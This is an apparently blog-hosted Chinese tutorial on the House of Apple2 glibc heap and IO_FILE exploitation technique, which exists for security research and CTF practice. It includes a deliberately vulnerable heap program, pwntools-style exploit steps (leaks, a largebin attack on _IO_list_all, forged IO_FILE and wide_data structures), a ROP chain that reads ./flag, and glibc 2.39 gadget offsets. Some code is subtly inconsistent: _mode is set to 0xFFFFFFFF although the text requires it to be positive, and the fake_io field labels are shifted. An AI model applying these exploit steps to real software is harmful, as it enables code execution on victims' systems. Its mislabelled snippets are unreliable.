house of apple2的演变由来及其源码解析
字数 1404 2025-12-16 12:35:40

House of Apple2 攻击技术深入解析

一、技术背景与演进

1.1 IO_FILE 基础结构

在GLIBC中,IO_FILE是文件操作的核心数据结构,其完整定义如下:

struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};

struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    // ... 其他字段
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;  // 关键字段
    // ... 其他字段
    int _mode;
};

1.2 GLIBC 2.24 的安全防护

GLIBC 2.24引入了vtable验证机制,通过IO_validate_vtable函数防止直接伪造虚表:

IO_validate_vtable (const struct _IO_jump_t *vtable) {
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    uintptr_t ptr = (uintptr_t) vtable;
    uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
    
    if (__glibc_unlikely (offset >= section_length))
        _IO_vtable_check ();
    return vtable;
}

此检查确保vtable指针必须位于合法的__libc_IO_vtables段内,彻底阻断了直接伪造vtable的攻击路径。

二、House of Apple2 攻击原理

2.1 攻击思路转变

由于直接伪造vtable被防护,House of Apple2转向利用_IO_wide_data成员进行攻击:

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;    // 关键字段
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;      // 关键字段
    wchar_t *_IO_buf_end;
    // ... 其他字段
    const struct _IO_jump_t *_wide_vtable;  // 无验证的vtable
};

关键发现:_wide_data->_wide_vtable指针没有类似IO_validate_vtable的验证机制。

2.2 攻击条件准备

成功的House of Apple2攻击需要满足以下条件:

  1. 内存布局控制:通过largebin attack等技术向_IO_list_all写入可控堆地址
  2. 结构伪造:在堆块中伪造完整的IO_FILE结构和IO_wide_data结构
  3. vtable绕过:IO_FILE的vtable指向合法vtable(如_IO_wfile_jumps),而_wide_data->_wide_vtable指向伪造的vtable

三、详细攻击流程

3.1 调用链分析

攻击的核心调用链如下:

exit → fcloseall → _IO_cleanup → _IO_flush_all → _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE

关键函数_IO_wfile_overflow的源码分析:

wint_t _IO_wfile_overflow (FILE *f, wint_t wch) {
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) {
        if (f->_wide_data->_IO_write_base == 0) {
            _IO_wdoallocbuf (f);  // 关键调用点
        }
        // ... 其他逻辑
    }
    // ... 其他逻辑
}

void _IO_wdoallocbuf (FILE *fp) {
    if (fp->_wide_data->_IO_buf_base) return;
    if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)  // 最终攻击点
            return;
    // ... 后备处理
}

3.2 结构伪造要求

伪造的IO_FILE结构需要满足以下条件:

# 关键字段设置
_wide_data = 可控堆地址A          # *(fp + 0xa0) = A
_wide_data->_IO_write_base = 0    # *(A + 0x18) = 0  
_wide_data->_IO_buf_base = 0      # *(A + 0x30) = 0
_wide_data->_wide_vtable = 可控堆地址B  # *(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate = 目标地址C  # *(B + 0x68) = C

3.3 注意事项

攻击实施时需要特别注意:

  1. 模式设置_mode必须设为正数,否则走窄字符路径
  2. 宽数据指针_wide_data不能为NULL且必须可写
  3. 缓冲区状态_IO_write_ptr > _IO_write_base确保需要flush
  4. 标志位设置:正确设置_flags标志位

四、实际攻击示例

4.1 漏洞程序分析

示例程序存在典型的堆漏洞:

// 简化版漏洞程序
void *chunk_list[80];
int chunk_size[80];

void add() {
    int index, size;
    scanf("%d", &index);
    scanf("%d", &size);
    chunk_list[index] = malloc(size);  // 无大小检查
    chunk_size[index] = size;
}

void edit() {
    int index, size;
    scanf("%d", &index);
    scanf("%d", &size);
    read(0, chunk_list[index], size);  // 堆溢出
}

void delete() {
    int index;
    scanf("%d", &index);
    free(chunk_list[index]);  // 未置空,UAF
}

4.2 利用步骤

步骤1:信息泄漏

# 泄漏堆地址
add(3, 0x60)
delete(3)
show(3)  # 泄漏堆地址
heap_base = leaked_value & 0xffffffffff000

# 泄漏libc地址  
add(0, 0x420)
add(1, 0x410)
delete(0)
show(0)  # 泄漏libc地址
libc_base = leaked_value - 0x21ace0

步骤2:Largebin Attack

# 构造largebin攻击
add(2, 0x430)
target = libc_base + libc.sym['_IO_list_all'] - 0x20

# 伪造largebin chunk
payload = p64(libc_base + 0x21b0d0) * 2
payload += p64(heap_base + 0x300)
payload += p64(target)
edit(0, 0x100, payload)
add(5, 0x460)  # 触发largebin attack

步骤3:构造伪造结构

# 伪造IO_FILE结构
fake_io = b""
fake_io += p64(0)  # _flags
fake_io += p64(0)  # _IO_read_ptr
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
# ... 填充其他必要字段
fake_io += p32(0xFFFFFFFF)  # _mode
fake_io = fake_io.ljust(0xd8, b'\x00')
fake_io += p64(libc_base + libc.sym['_IO_wfile_jumps'])  # 合法vtable

# 伪造wide_data和wide_vtable
fake_io += p64(wide_data_addr)  # _wide_data
fake_io += p64(wide_vtable_addr)
fake_io += p64(magic_gadget)  # 目标函数地址

4.3 ORW利用链构造

在GLIBC 2.35环境下,可以通过控制RDX寄存器实现ORW:

# ROP链构造
orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)  # open
orw += p64(syscall)

orw += p64(pop_rdi) + p64(3)  # fd
orw += p64(pop_rsi) + p64(buf_addr)
orw += p64(pop_rdx) + p64(0x100)
orw += p64(read_addr)

orw += p64(pop_rdi) + p64(1)  # stdout
orw += p64(pop_rsi) + p64(buf_addr)
orw += p64(pop_rdx) + p64(0x100)
orw += p64(write_addr)

五、GLIBC 2.39的适配

5.1 变化与挑战

GLIBC 2.39中setcontext的调用约定发生变化,传统的RDX控制方法失效。需要采用新的magic gadget:

# 2.39适配方案
swapcontext = libc_base + 0x5814D
svcudp_reply = libc_base + 0x17923D

# 通过svcudp_reply控制R12,再通过swapcontext控制RSP

5.2 新的利用链

# 使用swapcontext进行栈迁移
fake_io += p64(svcudp_reply)  # 控制R12
fake_io += p64(swapcontext)   # 栈迁移
fake_io += p64(rop_chain_addr)  # 目标ROP链

六、防御与检测

6.1 防护措施

  1. 堆完整性检查:强化堆元数据验证
  2. IO结构验证:增加_wide_data相关指针的验证
  3. vtable强化:扩展vtable验证到wide_vtable

6.2 检测特征

  • 异常的_IO_list_all指针值
  • 非法的wide_vtable地址范围
  • 异常的IO_FILE标志位组合

七、总结

House of Apple2代表了IO_FILE利用技术的重要演进,通过绕过GLIBC的安全机制实现了可靠的代码执行。理解其原理对于二进制安全研究和防护措施开发都具有重要意义。随着GLIBC版本的更新,攻击技术也在不断演进,需要持续关注新的利用技术和防护方案。

House of Apple2 攻击技术深入解析 一、技术背景与演进 1.1 IO_ FILE 基础结构 在GLIBC中,IO_ FILE是文件操作的核心数据结构,其完整定义如下: 1.2 GLIBC 2.24 的安全防护 GLIBC 2.24引入了vtable验证机制,通过 IO_validate_vtable 函数防止直接伪造虚表: 此检查确保vtable指针必须位于合法的 __libc_IO_vtables 段内,彻底阻断了直接伪造vtable的攻击路径。 二、House of Apple2 攻击原理 2.1 攻击思路转变 由于直接伪造vtable被防护,House of Apple2转向利用 _IO_wide_data 成员进行攻击: 关键发现: _wide_data->_wide_vtable 指针没有类似 IO_validate_vtable 的验证机制。 2.2 攻击条件准备 成功的House of Apple2攻击需要满足以下条件: 内存布局控制 :通过largebin attack等技术向 _IO_list_all 写入可控堆地址 结构伪造 :在堆块中伪造完整的IO_ FILE结构和IO_ wide_ data结构 vtable绕过 :IO_ FILE的vtable指向合法vtable(如 _IO_wfile_jumps ),而 _wide_data->_wide_vtable 指向伪造的vtable 三、详细攻击流程 3.1 调用链分析 攻击的核心调用链如下: 关键函数 _IO_wfile_overflow 的源码分析: 3.2 结构伪造要求 伪造的IO_ FILE结构需要满足以下条件: 3.3 注意事项 攻击实施时需要特别注意: 模式设置 : _mode 必须设为正数,否则走窄字符路径 宽数据指针 : _wide_data 不能为NULL且必须可写 缓冲区状态 : _IO_write_ptr > _IO_write_base 确保需要flush 标志位设置 :正确设置 _flags 标志位 四、实际攻击示例 4.1 漏洞程序分析 示例程序存在典型的堆漏洞: 4.2 利用步骤 步骤1:信息泄漏 步骤2:Largebin Attack 步骤3:构造伪造结构 4.3 ORW利用链构造 在GLIBC 2.35环境下,可以通过控制RDX寄存器实现ORW: 五、GLIBC 2.39的适配 5.1 变化与挑战 GLIBC 2.39中setcontext的调用约定发生变化,传统的RDX控制方法失效。需要采用新的magic gadget: 5.2 新的利用链 六、防御与检测 6.1 防护措施 堆完整性检查 :强化堆元数据验证 IO结构验证 :增加 _wide_data 相关指针的验证 vtable强化 :扩展vtable验证到wide_ vtable 6.2 检测特征 异常的 _IO_list_all 指针值 非法的wide_ vtable地址范围 异常的IO_ FILE标志位组合 七、总结 House of Apple2代表了IO_ FILE利用技术的重要演进,通过绕过GLIBC的安全机制实现了可靠的代码执行。理解其原理对于二进制安全研究和防护措施开发都具有重要意义。随着GLIBC版本的更新,攻击技术也在不断演进,需要持续关注新的利用技术和防护方案。